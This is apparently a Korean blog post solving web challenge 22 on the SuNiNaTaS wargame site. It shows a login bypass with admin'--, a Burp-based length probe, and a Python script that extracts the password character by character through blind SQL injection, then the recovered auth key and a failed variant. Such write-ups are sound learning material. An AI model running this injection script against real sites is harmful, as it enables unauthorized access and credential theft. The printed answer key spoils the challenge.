반응형
http://suninatas.com/challenge/web22/web22.asp
블라인드 SQL Injection을 사용하는 문제인가 보다.
비밀번호를 알아내는 것 자체가 목적이다.
아이디 부분에 admin'-- 을 입력하면 정상적으로 로그인이 된다.
-- 대신 #을 입력하면 no hack이 뜬다.
추측컨대, 필터링 단어를 쓸 때 뿐만 아니라 에러가 날때도 no hack으로 처리하는 것 같아 보였다.
비밀번호 길이를 알아내기 위해서 버프 스위트 repeater 기능을 사용하였다.
처음에는 부등호를 사용하여 범위를 좁혀나가다가 비밀번호 길이가 10임을 알아낼 수 있었다.
버프스위트로 첫 글자가 N인것 까지는 알아냄. 정신건강을 위해 파이썬으로 하려 하였으나 파이썬은 실력부족으로 원하는 결과가 나오지 않았음.
intruder로 각 인덱스의 문자를 찾으려고 하였으나, 시간이 너무 오래 걸림. 작업 걸어놓고 딴거 하고 왔더니 노트북이 재시작되어 버림.....
https://hackchang.tistory.com/91
위 블로그 참고해서 파라미터값이 아닌 url 값에 바로 집어 넣어서 요청을 보냈더니 해결됨
import requests
import time
URL="http://suninatas.com/challenge/web22/web22.asp"
start = time.time()
for i in range(10):
for j in range(32, 127):
url = URL+"?id=admin"+"'and substring(pw, {}, 1)='{}'--&pw=12".format(i+1, chr(j))
res = requests.get(url)
if "OK" in res.text:
print("found!:{} : {}".format(i, chr(j)))
print(res.text)
break
end = time.time()
print(end - start)
AUTHKEY: N1c3Bilnl)
실패한 코드
아직도 이유를 모르겠다......
params = {'id':'',
'pw':'abc'}
not OK
start = time.time()
for i in range(10):
for j in range(33, 127):
params['id'] = "admin%27and%20substring(pw,%20{},%201)=%27{}%27--".format(i+1, chr(j))
print(params['id'])
res = requests.get(URL, params=params)
if "OK" in res.text:
print("found!:{} : {}".format(i, chr(j)))
print(res.text)
break
end = time.time()
print(end - start)
#이건 왜 안될까..
반응형
'해킹 > suninatas (써니나타스)' 카테고리의 다른 글
써니나타스 웹 23번 풀이(작성중) (0) | 2022.06.05 |
---|---|
써니나타스 웹 8번 풀이 (0) | 2022.06.03 |
써니나타스 웹 7번 풀이 (0) | 2022.06.02 |
써니나타스 웹 6번 풀이 (0) | 2022.06.01 |
써니나타스 웹 4번 풀이(작성중 (0) | 2022.05.17 |